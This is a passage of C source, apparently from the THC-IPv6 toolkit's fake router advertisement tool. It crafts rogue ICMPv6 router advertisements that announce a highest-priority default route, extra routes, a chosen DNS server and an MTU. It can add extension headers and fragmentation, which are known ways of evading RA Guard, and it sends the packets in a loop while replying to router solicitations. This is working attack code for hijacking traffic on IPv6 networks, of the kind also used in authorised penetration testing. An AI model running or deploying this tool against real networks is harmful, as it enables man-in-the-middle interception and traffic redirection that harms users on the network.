    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc - optind >= 4 && argv[optind + 3] != NULL)
    ip6 = thc_resolve6(argv[optind + 3]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  frip6 = ip6;
  frint = interface;
  frmac = mac6;

  if (argc - optind >= 4 && argv[optind + 2] != NULL)
    dns = thc_resolve6(argv[optind + 2]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[optind + 1];
  if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);
  route6 = thc_resolve6(routerip);

  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
    exit(-1);
  }
  if (size < 48 || size > 64)
    fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
    exit(-1);
  }
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  i = 128 - size;
  j = i / 8;
  k = i % 8;
  if (k > 0)
    j++;
  memset(route6 + 16 - j, 0, j);
  if (k > 0)
    route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);

//  buf[3] = 250; // 0-3: reachable timer
  buf[6] = 4;                   // 4-7: retrans timer
  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  // option prefix
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;               // prefix length
  buf[19] = 128 + 64;
  memset(&buf[20], 17, 4);
  memset(&buf[24], 4, 4);
  memcpy(&buf[32], route6, 16);

  i = 48;
  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // default route routing option
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x00;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  i += 16;                      // 56-71 address, all zeros for default

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x03;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x20;              // 56-71 address: 2000::
  i += 15;

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x07;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0xfc;              // 56-71 address: fc::
  i += 15;

  // dns option
  buf[i++] = 0x19;              // dns option type
  buf[i++] = 0x03;              // length
  i += 2;                       // 74-75 reserved
  memset(buf + i, 1, 4);        // validity time
  i += 4;
  memcpy(buf + i, dns, 16);     // dns server
  i += 16;

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (i = 0; i <= do_frag; i++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
        return -1;
  }
  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;

  // init pcap

  printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
  while (1) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sleep(5);
  }
  return 0;
}